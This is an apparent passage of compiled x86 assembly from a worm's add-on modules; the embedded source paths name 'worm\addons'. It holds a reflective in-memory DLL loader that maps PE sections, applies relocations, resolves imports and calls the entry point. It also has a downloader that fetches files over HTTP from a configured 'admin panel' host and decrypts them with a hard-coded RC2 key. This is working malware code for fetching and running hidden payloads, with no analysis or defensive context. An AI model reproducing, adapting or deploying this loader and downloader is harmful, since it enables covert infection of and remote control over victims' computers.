8(%ebp),%edi addl $60,%edi movl %edi,-12(%ebp) .line 213 movl 8(%ebp),%edi movl -12(%ebp),%esi addl (,%esi),%edi movl %edi,-4(%ebp) .line 215 movl 12(%ebp),%edi cmpl %edi,-4(%ebp) jbe _$1236 jmp _$1233 _$1236: .line 217 movl -4(%ebp),%edi movl %edi,-16(%ebp) .line 219 movl -16(%ebp),%edi movzwl (,%edi),%edi cmpl $17744,%edi je _$1240 .line 221 _$1233: .line 225 movl 16(%ebp),%edi subl %edi,8(%ebp) jmp _$1230 _$1240: .line 235 movl 20(%ebp),%edi movl -4(%ebp),%esi movl %esi,(,%edi) .line 237 movl 8(%ebp),%eax _$1229: .line 238 popl %edi popl %esi leave ret _$1242: .size _FindPEheader,_$1242-_FindPEheader .globl _FindPEheader .file "e:\projects\progs\petrosjan\bjwj\worm\addons\dllloader.h" _$M155: .file "e:\projects\progs\petrosjan\bjwj\worm\addons\util.h" _$M156: .file "e:\projects\progs\petrosjan\bjwj\worm\addons\dllloader.c" _$M157: ; section --> %edi ; dest --> %esi ; i --> %ebx .type _CopySections,function _CopySections: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %ebx pushl %esi pushl %edi .line 21 .line 23 movl 16(%ebp),%eax movl 4(%eax),%ecx movl %ecx,-4(%ebp) .line 26 movl (,%eax),%eax movzwl 20(%eax),%edx leal 24(%eax,%edx),%edi .line 28 xor %ebx,%ebx jmp _$1248 _$1245: .line 30 cmpl $0,16(%edi) jne _$1249 .line 32 movl 12(%ebp),%eax movl 56(%eax),%eax movl %eax,-8(%ebp) .line 34 test %eax,%eax jle _$1246 .line 36 movl 12(%edi),%eax movl %eax,%esi addl -4(%ebp),%esi .line 38 movl %esi,8(%edi) .line 39 pushl -8(%ebp) pushl $0 pushl %esi call _u_memset addl $12,%esp .line 42 jmp _$1246 _$1249: .line 45 movl 12(%edi),%eax movl %eax,%esi addl -4(%ebp),%esi .line 50 pushl 16(%edi) movl 20(%edi),%eax addl 8(%ebp),%eax pushl %eax pushl %esi call _u_memcpy addl $12,%esp .line 52 movl %esi,8(%edi) _$1246: .line 28 incl %ebx addl $40,%edi _$1248: movl 16(%ebp),%eax movl (,%eax),%eax movzwl 6(%eax),%eax cmpl %eax,%ebx jl _$1245 .line 54 popl %edi popl %esi popl %ebx leave ret _$1254: .size _CopySections,_$1254-_CopySections .globl _CopySections .data .globl _ProtectionFlags .align 2 .type _ProtectionFlags,object _ProtectionFlags: .long 1 .long 8 .long 2 .long 4 .long 16 .long 128 .long 32 .long 64 .text ; section --> %edi ; i --> %esi ; module --> %ebx .type _FinalizeSections,function _FinalizeSections: pushl %ebp movl %esp,%ebp subl $36,%esp pushl %ebx pushl %esi pushl %edi .line 69 movl 8(%ebp),%ebx .line 71 movl (,%ebx),%eax movzwl 20(%eax),%edx leal 24(%eax,%edx),%edi .line 73 xor %esi,%esi jmp _$1259 _$1256: .line 77 testl $0x20000000,36(%edi) setne %al andl $1,%eax movl %eax,-12(%ebp) .line 78 testl $0x40000000,36(%edi) setne %al andl $1,%eax movl %eax,-16(%ebp) .line 79 testl $0x80000000,36(%edi) setne %al andl $1,%eax movl %eax,-20(%ebp) .line 81 testl $0x2000000,36(%edi) jne _$1257 .line 84 _$1269: .line 87 movl -20(%ebp),%edx movl -16(%ebp),%ecx movl -12(%ebp),%eax shll $4,%eax leal _ProtectionFlags(%eax,%ecx,8),%ecx movl (%ecx,%edx,4),%edx movl %edx,-8(%ebp) .line 89 testl $0x4000000,36(%edi) je _$1271 .line 91 orw $512,-8(%ebp) _$1271: .line 94 movl 16(%edi),%eax movl %eax,-4(%ebp) .line 96 test %eax,%eax jne _$1273 .line 98 testb $64,36(%edi) je _$1275 .line 100 movl (,%ebx),%eax movl 32(%eax),%eax movl %eax,-4(%ebp) jmp _$1273 _$1275: .line 102 testb $128,36(%edi) je _$1273 .line 104 movl (,%ebx),%eax movl 36(%eax),%eax movl %eax,-4(%ebp) .line 106 _$1273: .line 108 cmpl $0,-4(%ebp) je _$1257 .line 110 leal -24(%ebp),%eax pushl %eax pushl -8(%ebp) pushl 16(%edi) pushl 8(%edi) call *__VirtualProtect or %eax,%eax je _$1255 .line 112 _$1281: .line 114 .line 115 _$1257: .line 73 incl %esi addl $40,%edi _$1259: movl (,%ebx),%eax movzwl 6(%eax),%eax cmpl %eax,%esi jl _$1256 .line 116 _$1255: popl %edi popl %esi popl %ebx leave ret _$1285: .size _FinalizeSections,_$1285-_FinalizeSections .globl _FinalizeSections ; i --> %edi ; i --> %edi ; codeBase --> %esi ; delta --> %ebx .type _PerformBaseRelocation,function _PerformBaseRelocation: pushl %ebp movl %esp,%ebp subl $28,%esp pushl %ebx pushl %esi .line 119 movl 12(%ebp),%ebx .line 121 movl 8(%ebp),%eax movl 4(%eax),%esi .line 123 movl (,%eax),%eax movl %eax,%ecx addl $160,%ecx .line 125 cmpl $0,4(%ecx) je _$1287 .line 127 movl (,%ecx),%eax addl %esi,%eax movl %eax,-4(%ebp) .line 129 jmp _$1292 _$1289: .line 131 movl -4(%ebp),%eax movl (,%eax),%eax addl %esi,%eax movl %eax,-12(%ebp) .line 132 movl -4(%ebp),%eax addl $8,%eax movl %eax,-8(%ebp) .line 134 xor %ecx,%ecx jmp _$1296 _$1293: .line 139 movl -8(%ebp),%edx movzwl (,%edx),%edx sarl $12,%edx movl %edx,-16(%ebp) .line 140 movl -8(%ebp),%eax movzwl (,%eax),%eax andl $4095,%eax movl %eax,-20(%ebp) .line 142 movl %edx,%eax or %eax,%eax je _$1298 cmpl $3,%eax jne _$1298 .line 145 _$1301: .line 148 movl -20(%ebp),%eax addl -12(%ebp),%eax movl %eax,-24(%ebp) .line 149 addl %ebx,(,%eax) .line 153 _$1298: .line 155 .line 134 incl %ecx addl $2,-8(%ebp) _$1296: movl -4(%ebp),%edx movl 4(%edx),%edx subl $8,%edx shrl $1,%edx cmpl %edx,%ecx jb _$1293 .line 157 movl -4(%ebp),%eax movl %eax,%edx addl 4(%eax),%edx movl %edx,-4(%ebp) .line 129 _$1292: movl -4(%ebp),%eax cmpl $0,(,%eax) jne _$1289 .line 159 _$1287: .line 160 popl %esi popl %ebx leave ret _$1304: .size _PerformBaseRelocation,_$1304-_PerformBaseRelocation .globl _PerformBaseRelocation ; codeBase --> %edi ; importDesc --> %esi ; importDesc --> %esi ; result --> %ebx .type _BuildImportTable,function _BuildImportTable: pushl %ebp movl %esp,%ebp subl $20,%esp pushl %ebx pushl %esi pushl %edi .line 163 .line 164 xor %ebx,%ebx inc %ebx .line 165 movl 8(%ebp),%eax movl 4(%eax),%edi .line 167 movl (,%eax),%eax movl %eax,%esi addl $128,%esi .line 169 cmpl $0,4(%esi) jne _$1306 .line 170 xor %eax,%eax jmp _$1305 _$1306: .line 173 movl (,%esi),%eax movl %eax,%esi addl %edi,%esi .line 175 jmp _$1311 _$1308: .line 178 movl 12(%esi),%eax addl %edi,%eax pushl %eax call *__LoadLibrary movl %eax,-12(%ebp) .line 180 cmpl $0xffffffff,%eax jne _$1312 .line 182 xor %ebx,%ebx .line 183 jmp _$1310 _$1312: .line 186 movl 8(%ebp),%eax movl 208(%eax),%edx incl 208(%eax) movl %eax,%ecx movl -12(%ebp),%eax movl %eax,8(%ecx,%edx,4) .line 187 cmpl $0,(,%esi) je _$1314 .line 189 movl (,%esi),%eax addl %edi,%eax movl %eax,-4(%ebp) .line 190 movl 16(%esi),%eax addl %edi,%eax movl %eax,-8(%ebp) jmp _$1319 _$1314: .line 191 .line 192 movl 16(%esi),%eax addl %edi,%eax movl %eax,-4(%ebp) .line 193 movl 16(%esi),%eax addl %edi,%eax movl %eax,-8(%ebp) .line 195 jmp _$1319 _$1316: .line 197 movl -4(%ebp),%eax testl $0x80000000,(,%eax) je _$1320 .line 199 movzwl (,%eax),%eax pushl %eax pushl -12(%ebp) call *__GetProcAddress movl -8(%ebp),%edx movl %eax,(,%edx) jmp _$1321 _$1320: .line 202 .line 203 movl -4(%ebp),%eax movl (,%eax),%eax addl %edi,%eax movl %eax,-20(%ebp) .line 205 addl $2,%eax pushl %eax pushl -12(%ebp) call *__GetProcAddress movl %eax,-16(%ebp) or %eax,%eax je _$1321 .line 207 movl -8(%ebp),%ecx movl (,%ecx),%edx cmpl %edx,%eax je _$1321 .line 208 movl %ecx,%eax movl -16(%ebp),%edx movl %edx,(,%eax) .line 209 .line 210 _$1321: .line 211 movl -8(%ebp),%eax cmpl $0,(,%eax) jne _$1326 .line 213 xor %ebx,%ebx .line 214 jmp _$1318 _$1326: .line 216 .line 195 addl $4,-4(%ebp) addl $4,-8(%ebp) _$1319: movl -4(%ebp),%eax cmpl $0,(,%eax) jne _$1316 _$1318: .line 218 or %ebx,%ebx je _$1310 .line 219 _$1328: .line 220 .line 175 addl $20,%esi _$1311: pushl $20 pushl %esi call *__IsBadReadPtr or %eax,%eax jne _$1310 cmpl %eax,12(%esi) jne _$1308 _$1310: .line 222 movl %ebx,%eax _$1305: .line 223 popl %edi popl %esi popl %ebx leave ret _$1338: .size _BuildImportTable,_$1338-_BuildImportTable .globl _BuildImportTable ; module --> %edi ; i --> %esi .type _MemoryFreeLibrary,function _MemoryFreeLibrary: pushl %ebp movl %esp,%ebp pushl %ecx pushl %esi pushl %edi .line 226 .line 228 movl 8(%ebp),%edi .line 230 or %edi,%edi je _$1340 .line 232 cmpl $0,212(%edi) je _$1342 .line 234 movl (,%edi),%eax movl 40(%eax),%eax addl 4(%edi),%eax movl %eax,-4(%ebp) .line 235 pushl $0 pushl $0 pushl 4(%edi) call *-4(%ebp) .line 236 andl $0,212(%edi) _$1342: .line 239 movl %edi,%eax addl $8,%eax or %eax,%eax je _$1344 .line 241 xor %esi,%esi jmp _$1349 _$1346: .line 242 cmpl $0xffffffff,8(%edi,%esi,4) je _$1350 .line 243 pushl 8(%edi,%esi,4) call _FreeLibrary@4 _$1350: .line 241 incl %esi _$1349: cmpl 208(%edi),%esi jl _$1346 .line 245 _$1344: .line 247 cmpl $0,4(%edi) je _$1352 .line 248 pushl $0x8000 pushl $0 pushl 4(%edi) call _VirtualFree@12 _$1352: .line 250 pushl %edi call _u_free popl %ecx _$1340: .line 252 popl %edi popl %esi leave ret _$1354: .size _MemoryFreeLibrary,_$1354-_MemoryFreeLibrary .globl _MemoryFreeLibrary ; result --> %edi ; code --> %esi ; old_header --> %ebx .type _MemoryLoadLibrary,function _MemoryLoadLibrary: pushl %ebp movl %esp,%ebp subl $20,%esp pushl %ebx pushl %esi pushl %edi .line 255 .line 264 movl 8(%ebp),%eax movl %eax,-4(%ebp) .line 265 cmpw $23117,(,%eax) je _$1356 .line 267 xor %eax,%eax jmp _$1355 _$1356: .line 270 movl -4(%ebp),%eax movl 60(%eax),%eax movl %eax,%ebx addl 8(%ebp),%ebx .line 271 cmpl $17744,(,%ebx) je _$1358 .line 273 xor %eax,%eax jmp _$1355 _$1358: .line 276 pushl $4 pushl $4096 pushl 80(%ebx) pushl 52(%ebx) call *__VirtualAlloc movl %eax,%esi .line 281 or %esi,%esi jne _$1360 .line 282 pushl $4 pushl $4096 pushl 80(%ebx) pushl $0 call *__VirtualAlloc movl %eax,%esi _$1360: .line 287 or %esi,%esi jne _$1362 .line 289 xor %eax,%eax jmp _$1355 _$1362: .line 291 pushl $1 pushl $216 call _u_alloc movl %eax,%edi .line 292 movl %esi,4(%edi) .line 293 andl $0,208(%edi) .line 294 andl $0,212(%edi) .line 301 movl %esi,-8(%ebp) .line 307 movl -4(%ebp),%eax movl 60(%eax),%edx addl 84(%ebx),%edx pushl %edx pushl %eax pushl %esi call _u_memcpy .line 308 movl -4(%ebp),%eax movl 60(%eax),%eax addl %esi,%eax movl %eax,(,%edi) .line 310 movl %esi,52(%eax) .line 312 pushl %edi pushl %ebx pushl 8(%ebp) call _CopySections addl $32,%esp .line 314 movl %esi,%eax subl 52(%ebx),%eax movl %eax,-12(%ebp) .line 315 test %eax,%eax je _$1364 .line 316 pushl %eax pushl %edi call _PerformBaseRelocation addl $8,%esp _$1364: .line 319 pushl %edi call _BuildImportTable popl %ecx or %eax,%eax je _$1368 .line 320 _$1366: .line 323 pushl %edi call _FinalizeSections popl %ecx .line 325 movl (,%edi),%eax cmpl $0,40(%eax) je _$1369 .line 327 movl (,%edi),%eax movl 40(%eax),%eax addl %esi,%eax movl %eax,-16(%ebp) .line 328 test %eax,%eax je _$1368 .line 330 _$1371: .line 333 pushl $0 pushl $1 pushl %esi call *-16(%ebp) movl %eax,-20(%ebp) .line 335 test %eax,%eax je _$1368 .line 337 _$1373: .line 340 movl $1,212(%edi) _$1369: .line 343 movl %edi,%eax jmp _$1355 _$1368: .line 346 pushl %edi call _MemoryFreeLibrary popl %ecx .line 347 xor %eax,%eax _$1355: .line 348 popl %edi popl %esi popl %ebx leave ret _$1381: .size _MemoryLoadLibrary,_$1381-_MemoryLoadLibrary .globl _MemoryLoadLibrary ; nameRef --> %edi ; nameRef --> %edi ; i --> %esi ; ordinal --> %ebx .type _MemoryGetProcAddress@8,function _MemoryGetProcAddress@8: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 351 .line 352 movl 8(%ebp),%eax movl 4(%eax),%ecx movl %ecx,-8(%ebp) .line 353 orl $-1,-12(%ebp) .line 357 movl (,%eax),%eax movl %eax,%edi addl $120,%edi .line 358 cmpl $0,4(%edi) jne _$1383 .line 359 xor %eax,%eax jmp _$1382 _$1383: .line 361 movl (,%edi),%eax addl -8(%ebp),%eax movl %eax,-4(%ebp) .line 362 cmpl $0,24(%eax) je _$1387 cmpl $0,20(%eax) jne _$1385 _$1387: .line 363 xor %eax,%eax jmp _$1382 _$1385: .line 365 movl -4(%ebp),%eax movl 32(%eax),%ecx movl %ecx,%edi addl -8(%ebp),%edi .line 366 movl 36(%eax),%eax movl %eax,%ebx addl -8(%ebp),%ebx .line 368 xor %esi,%esi jmp _$1391 _$1388: .line 369 movl (,%edi),%eax addl -8(%ebp),%eax pushl %eax pushl 12(%ebp) call _lstrcmpiA@8 or %eax,%eax jne _$1392 .line 371 movzwl (,%ebx),%eax movl %eax,-12(%ebp) .line 372 jmp _$1390 _$1392: .line 368 incl %esi addl $4,%edi addl $2,%ebx _$1391: movl -4(%ebp),%eax cmpl 24(%eax),%esi jb _$1388 _$1390: .line 375 cmpl $-1,-12(%ebp) jne _$1394 .line 376 xor %eax,%eax jmp _$1382 _$1394: .line 378 movl -4(%ebp),%eax movl 20(%eax),%eax cmpl %eax,-12(%ebp) jbe _$1396 .line 379 xor %eax,%eax jmp _$1382 _$1396: .line 381 movl -8(%ebp),%ebx movl -12(%ebp),%edx movl -4(%ebp),%ecx movl 28(%ecx),%ecx addl %ebx,%ecx movl (%ecx,%edx,4),%edx movl %edx,%eax addl %ebx,%eax _$1382: .line 382 popl %edi popl %esi popl %ebx leave ret $8 _$1402: .size _MemoryGetProcAddress@8,_$1402-_MemoryGetProcAddress@8 .globl _MemoryGetProcAddress@8 .file "e:\projects\progs\petrosjan\bjwj\worm\addons\loaddll.h" _$M158: .file "e:\projects\progs\petrosjan\bjwj\worm\addons\loaddll.c" _$M159: .data .globl _UserAgent .align 2 .type _UserAgent,object _UserAgent: .long 0x0 .globl _RC2_Password .align 2 .type _RC2_Password,object _RC2_Password: .long _$1403 .globl _HostAdminka .align 2 .type _HostAdminka,object _HostAdminka: .long _$1404 .globl _SETFolderExts .align 2 .type _SETFolderExts,object _SETFolderExts: .long _$1405 .long _$1406 .long _$1407 .long _$1408 .long _$1409 .text ; i --> %esi ; i --> %esi ; symbols --> %ebx .type _LoadFileFromAdminka,function _LoadFileFromAdminka: pushl %ebp movl %esp,%ebp subl $132,%esp pushl %ebx pushl %esi pushl %edi .line 34 .line 35 andl $0,-104(%ebp) .line 36 andl $0,-100(%ebp) .line 39 pushl $64 pushl $57 call _u_rand_range addl $8,%esp movl %eax,%ebx .line 40 xor %esi,%esi jmp _$1414 _$1411: .line 41 pushl $122 pushl $97 call _u_rand_range addl $8,%esp movl %ax,%dx movb %dl,-96(%ebp,%esi) .line 40 incl %esi _$1414: cmpl %ebx,%esi jl _$1411 .line 42 movb $0,-96(%ebp,%ebx) .line 43 call _u_rand movl $5,%ecx xorl %edx,%edx divl %ecx pushl _SETFolderExts(,%edx,4) leal -96(%ebp),%edi pushl %edi call *__lstrcatA .line 44 pushl $3 pushl $_$1415 leal -100(%ebp),%eax pushl %eax leal -96(%ebp),%eax pushl %eax pushl _HostAdminka call _LoadFileFromInet addl $20,%esp movl %eax,%esi .line 45 or %esi,%esi je _$1416 .line 46 andl $0,-116(%ebp) .line 47 leal -116(%ebp),%eax pushl %eax pushl -100(%ebp) pushl %esi call _DecodeData movl %eax,-112(%ebp) .line 49 pushl 8(%ebp) pushl %eax call _u_istrstr addl $20,%esp movl %eax,-108(%ebp) .line 50 test %eax,%eax je _$1418 .line 51 pushl 8(%ebp) call *__lstrlen movl %eax,-120(%ebp) .line 52 addl -108(%ebp),%eax movl %eax,-108(%ebp) .line 53 cmpb $124,(,%eax) jne _$1418 .line 54 incl -108(%ebp) .line 55 pushl $10 pushl -108(%ebp) call _u_strchr addl $8,%esp movl %eax,-128(%ebp) .line 56 test %eax,%eax je _$1422 movb $0,(,%eax) _$1422: .line 58 pushl $0 pushl $0 leal -132(%ebp),%eax pushl %eax pushl -108(%ebp) pushl _HostAdminka call _LoadFileFromInet addl $20,%esp movl %eax,-124(%ebp) .line 59 test %eax,%eax je _$1418 .line 60 pushl 12(%ebp) pushl -132(%ebp) pushl %eax call _DecodeData movl %eax,-104(%ebp) .line 61 pushl -124(%ebp) call _u_free addl $16,%esp .line 63 .line 64 _$1418: .line 65 pushl -112(%ebp) call _u_free popl %ecx _$1416: .line 67 pushl %esi call _u_free popl %ecx .line 68 movl -104(%ebp),%eax .line 69 popl %edi popl %esi popl %ebx leave ret _$1436: .size _LoadFileFromAdminka,_$1436-_LoadFileFromAdminka .globl _LoadFileFromAdminka ; ret --> %edi ; size --> %esi ; request --> %ebx .type _LoadFileFromRequest,function _LoadFileFromRequest: pushl %ebp movl %esp,%ebp subl $1032,%esp pushl %ebx pushl %esi pushl %edi .line 72 movl 8(%ebp),%ebx movl 12(%ebp),%esi .line 74 andl $0,-4(%ebp) .line 75 andl $0,(,%esi) .line 76 xor %edi,%edi _$1438: .line 78 leal -4(%ebp),%eax pushl %eax pushl $1024 leal -1028(%ebp),%eax pushl %eax pushl %ebx call *__InternetReadFile .line 79 cmpl $0,-4(%ebp) je _$1441 .line 80 pushl $0 movl (,%esi),%eax addl -4(%ebp),%eax pushl %eax call _u_alloc addl $8,%esp movl %eax,-1032(%ebp) .line 81 or %edi,%edi je _$1443 pushl (,%esi) pushl %edi pushl %eax call _u_memcpy addl $12,%esp _$1443: .line 82 pushl -4(%ebp) leal -1028(%ebp),%eax pushl %eax movl (,%esi),%eax addl -1032(%ebp),%eax pushl %eax call _u_memcpy .line 83 movl -4(%ebp),%eax addl %eax,(,%esi) .line 84 pushl %edi call _u_free addl $16,%esp .line 85 movl -1032(%ebp),%edi _$1441: .line 87 cmpl $1024,-4(%ebp) je _$1438 .line 88 movl %edi,%eax .line 89 popl %edi popl %esi popl %ebx leave ret _$1446: .size _LoadFileFromRequest,_$1446-_LoadFileFromRequest .globl _LoadFileFromRequest ; inet --> %edi ; inet --> %edi ; ret --> %esi .type _LoadFileFromInet,function _LoadFileFromInet: pushl %ebp movl %esp,%ebp subl $524,%esp pushl %ebx pushl %esi pushl %edi .line 92 .line 93 xor %esi,%esi .line 94 movl 16(%ebp),%eax andl $0,(,%eax) .line 96 movl _UserAgent,%edi .line 97 test %edi,%edi jne _$1448 .line 98 movl $512,-516(%ebp) .line 99 leal -516(%ebp),%eax pushl %eax leal -512(%ebp),%eax pushl %eax pushl $0 call *__ObtainUserAgentString .line 100 leal -512(%ebp),%edi _$1448: .line 102 pushl $0 pushl $0 pushl $0 pushl $0 pushl %edi call *__InternetOpenA movl %eax,%edi .line 103 or %edi,%edi je _$1450 .line 104 pushl $1 pushl $0 pushl $3 pushl $0 pushl $0 pushl $80 pushl 8(%ebp) pushl %edi call *__InternetConnectA movl %eax,-516(%ebp) .line 105 test %eax,%eax je _$1452 .line 107 pushl $1 pushl $0 pushl $0 pushl $0 pushl $0 pushl 12(%ebp) cmpl $0,20(%ebp) je _$1456 leal _$1454,%ebx jmp _$1457 _$1456: xor %ebx,%ebx _$1457: pushl %ebx pushl -516(%ebp) call *__HttpOpenRequestA movl %eax,-520(%ebp) .line 108 test %eax,%eax je _$1458 .line 110 cmpl $0,20(%ebp) je _$1460 .line 111 pushl $0x20000000 pushl $0xffffffff pushl $_$1462 pushl %eax call *__HttpAddRequestHeadersA .line 112 pushl $0x20000000 pushl $0xffffffff pushl $_$1463 pushl -520(%ebp) call *__HttpAddRequestHeadersA .line 113 pushl $0x20000000 pushl $0xffffffff pushl $_$1464 pushl -520(%ebp) call *__HttpAddRequestHeadersA _$1460: .line 115 pushl 24(%ebp) pushl 20(%ebp) pushl $0 pushl $0 pushl -520(%ebp) call *__HttpSendRequestA movl %eax,-524(%ebp) .line 116 test %eax,%eax je _$1465 .line 117 pushl 16(%ebp) pushl -520(%ebp) call _LoadFileFromRequest addl $8,%esp movl %eax,%esi _$1465: .line 119 pushl -520(%ebp) call *__InternetCloseHandle _$1458: .line 121 pushl -516(%ebp) call *__InternetCloseHandle _$1452: .line 123 pushl %edi call *__InternetCloseHandle _$1450: .line 125 movl %esi,%eax .line 126 popl %edi popl %esi popl %ebx leave ret _$1476: .size _LoadFileFromInet,_$1476-_LoadFileFromInet .globl _LoadFileFromInet ; p --> %edi ; p --> %edi ; p2 --> %esi ; ca --> %ebx .type _DecodeData,function _DecodeData: pushl %ebp movl %esp,%ebp subl $20,%esp pushl %ebx pushl %esi pushl %edi .line 129 .line 131 movl 16(%ebp),%eax andl $0,(,%eax) .line 133 movl 8(%ebp),%eax movl (,%eax),%eax movl %eax,-8(%ebp) .line 134 movl 12(%ebp),%eax movl 8(%ebp),%edx leal -1(%eax,%edx),%eax movl %eax,%esi movl %eax,%edi jmp _$1479 _$1478: .line 135 decl %edi _$1479: cmpb $61,(,%edi) je _$1478 .line 136 movl %esi,%ebx subl %edi,%ebx .line 137 addl $-3,%edi .line 138 movl (,%edi),%eax movl %eax,-4(%ebp) jmp _$1483 _$1482: .line 139 movl %edi,%eax incl %edi movl %esi,%edx decl %esi movb (,%edx),%dl movb %dl,(,%eax) _$1483: movl %ebx,%eax decl %ebx or %eax,%eax jne _$1482 .line 140 subl $8,12(%ebp) .line 141 pushl 12(%ebp) movl 8(%ebp),%eax movl %eax,%edx addl $4,%edx pushl %edx pushl %eax call _u_memcpy .line 143 pushl $0 pushl 12(%ebp) call _u_alloc movl %eax,%edi .line 144 movl 12(%ebp),%eax movl %eax,-12(%ebp) .line 145 pushl $0 pushl $0 leal -12(%ebp),%eax pushl %eax pushl %edi pushl $1 pushl 12(%ebp) pushl 8(%ebp) call *__CryptStringToBinaryA .line 150 leal -16(%ebp),%eax pushl %eax leal -20(%ebp),%eax pushl %eax leal -8(%ebp),%eax pushl %eax pushl _RC2_Password call _GenerateKey addl $36,%esp or %eax,%eax je _$1485 .line 151 leal -12(%ebp),%eax pushl %eax pushl %edi pushl $0 pushl $1 pushl $0 pushl -16(%ebp) call *__CryptDecrypt or %eax,%eax je _$1487 .line 152 movl -12(%ebp),%eax movb $0,(%edi,%eax) .line 153 movl 16(%ebp),%eax movl -12(%ebp),%edx movl %edx,(,%eax) jmp _$1488 _$1487: .line 155 .line 156 pushl %edi call _u_free popl %ecx .line 157 xor %edi,%edi _$1488: .line 160 pushl -16(%ebp) call *__CryptDestroyKey .line 161 pushl $0 pushl -20(%ebp) call *__CryptReleaseContext _$1485: .line 164 movl %edi,%eax .line 165 popl %edi popl %esi popl %ebx leave ret _$1498: .size _DecodeData,_$1498-_DecodeData .globl _DecodeData ; provider --> %edi ; key --> %esi .type _GenerateKey,function _GenerateKey: pushl %ebp movl %esp,%ebp subl $84,%esp pushl %ebx pushl %esi pushl %edi .line 176 movl 16(%ebp),%edi movl 20(%ebp),%esi .line 177 andl $0,(,%edi) .line 178 andl $0,(,%esi) .line 181 pushl $0xf0000000 pushl $1 pushl $0 pushl $0 pushl %edi call *__CryptAcquireContextA movl %ax,%bx cmpb $0,%bl je _$1501 .line 185 pushl $76 pushl $0 leal -76(%ebp),%eax pushl %eax call _u_memset .line 186 movb $8,-76(%ebp) .line 187 movb $2,-75(%ebp) .line 188 movl $26114,-72(%ebp) .line 190 pushl 8(%ebp) call _lstrlenA@4 movl %eax,-68(%ebp) .line 191 pushl %eax pushl 8(%ebp) leal -64(%ebp),%eax pushl %eax call _u_memcpy addl $24,%esp .line 193 pushl %esi pushl $0 pushl $0 pushl $76 leal -76(%ebp),%eax pushl %eax pushl (,%edi) call *__CryptImportKey or %eax,%eax je _$1508 .line 196 pushl $0 pushl 12(%ebp) pushl $1 pushl (,%esi) call *__CryptSetKeyParam or %eax,%eax je _$1510 .line 198 movl $1,-80(%ebp) .line 199 pushl $0 leal -80(%ebp),%eax pushl %eax pushl $4 pushl (,%esi) call *__CryptSetKeyParam or %eax,%eax je _$1510 .line 201 movl $1,-84(%ebp) .line 202 pushl $0 leal -84(%ebp),%eax pushl %eax pushl $3 pushl (,%esi) call *__CryptSetKeyParam or %eax,%eax je _$1510 .line 203 xor %eax,%eax inc %eax jmp _$1500 .line 204 .line 205 _$1510: .line 206 pushl (,%esi) call *__CryptDestroyKey _$1508: .line 208 pushl $0 pushl (,%edi) call *__CryptReleaseContext _$1501: .line 210 xor %eax,%eax _$1500: .line 211 popl %edi popl %esi popl %ebx leave ret _$1523: .size _GenerateKey,_$1523-_GenerateKey .globl _GenerateKey .file "e:\projects\progs\petrosjan\bjwj\worm\addons\util.c" _$M160: .type _u_alloc,function _u_alloc: pushl %ebp movl %esp,%ebp pushl %edi .line 4 .line 5 pushl 8(%ebp) xorl %edi,%edi cmpl %edi,12(%ebp) xchgl %edi,%eax sete %al xchgl %eax,%edi decl %edi andl $64,%edi pushl %edi call *__LocalAlloc .line 6 popl %edi popl %ebp ret _$1529: .size _u_alloc,_$1529-_u_alloc .globl _u_alloc .type _u_free,function _u_free: pushl %ebp movl %esp,%ebp .line 9 .line 10 pushl 8(%ebp) call *__LocalFree .line 11 popl %ebp ret _$1531: .size _u_free,_$1531-_u_free .globl _u_free ; c --> %edi ; src --> %esi ; dst --> %ebx .type _u_memcpy,function _u_memcpy: pushl %ebx pushl %esi .line 14 movl 12(%esp),%ebx movl 16(%esp),%esi movl 20(%esp),%ecx .line 15 or %ecx,%ecx jle _$1533 jmp _$1536 _$1535: .line 16 movl %ebx,%eax incl %ebx movl %esi,%edx incl %esi movb (,%edx),%dl movb %dl,(,%eax) _$1536: movl %ecx,%eax decl %ecx or %eax,%eax jne _$1535 .line 17 _$1533: popl %esi popl %ebx ret _$1541: .size _u_memcpy,_$1541-_u_memcpy .globl _u_memcpy ; p --> %edi ; count --> %esi .type _u_memset,function _u_memset: pushl %esi .line 20 movl 16(%esp),%esi .line 21 movl 8(%esp),%ecx jmp _$1544 _$1543: .line 23 movl %ecx,%eax incl %ecx movb 12(%esp),%dl movb %dl,(,%eax) _$1544: .line 22 movl %esi,%eax decl %esi or %eax,%eax jne _$1543 .line 24 popl %esi ret _$1548: .size _u_memset,_$1548-_u_memset .globl _u_memset ; fout --> %edi ; add --> %esi ; read --> %ebx .type _u_CreateFile,function _u_CreateFile: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %ebx pushl %esi pushl %edi .line 27 movl 12(%ebp),%ebx movl 16(%ebp),%esi .line 28 pushl $0 pushl $0 or %ebx,%ebx jne _$1554 or %esi,%esi je _$1552 _$1554: movl $3,-4(%ebp) jmp _$1553 _$1552: movl $2,-4(%ebp) _$1553: pushl -4(%ebp) pushl $0 pushl $3 or %ebx,%ebx je _$1555 movl $0x80000000,-8(%ebp) jmp _$1556 _$1555: movl $0x40000000,-8(%ebp) _$1556: pushl -8(%ebp) pushl 8(%ebp) call *__CreateFile movl %eax,%edi .line 29 cmpl $0xffffffff,%edi jne _$1557 xor %eax,%eax jmp _$1549 _$1557: .line 30 or %esi,%esi je _$1559 pushl $2 pushl $0 pushl $0 pushl %edi call *__SetFilePointer _$1559: .line 31 movl %edi,%eax _$1549: .line 32 popl %edi popl %esi popl %ebx leave ret _$1562: .size _u_CreateFile,_$1562-_u_CreateFile .globl _u_CreateFile .type _u_WriteFile,function _u_WriteFile: pushl %ebp movl %esp,%ebp pushl %ecx .line 35 .line 36 andl $0,-4(%ebp) .line 37 pushl $0 leal -4(%ebp),%eax pushl %eax pushl 16(%ebp) pushl 12(%ebp) pushl 8(%ebp) call *__WriteFile .line 38 movl -4(%ebp),%eax .line 39 leave ret _$1564: .size _u_WriteFile,_$1564-_u_WriteFile .globl _u_WriteFile .type _u_ReadFile,function _u_ReadFile: pushl %ebp movl %esp,%ebp pushl %ecx .line 42 .line 43 andl $0,-4(%ebp) .line 44 pushl $0 leal -4(%ebp),%eax pushl %eax pushl 16(%ebp) pushl 12(%ebp) pushl 8(%ebp) call *__ReadFile .line 45 movl -4(%ebp),%eax .line 46 leave ret _$1566: .size _u_ReadFile,_$1566-_u_ReadFile .globl _u_ReadFile .type _u_CloseFile,function _u_CloseFile: pushl %ebp movl %esp,%ebp .line 49 .line 50 pushl 8(%ebp) call *__CloseHandle .line 51 popl %ebp ret _$1568: .size _u_CloseFile,_$1568-_u_CloseFile .globl _u_CloseFile ; fout --> %edi .type _u_SaveToFile,function _u_SaveToFile: pushl %ebp movl %esp,%ebp pushl %edi .line 54 .line 55 pushl $0 pushl $0 pushl 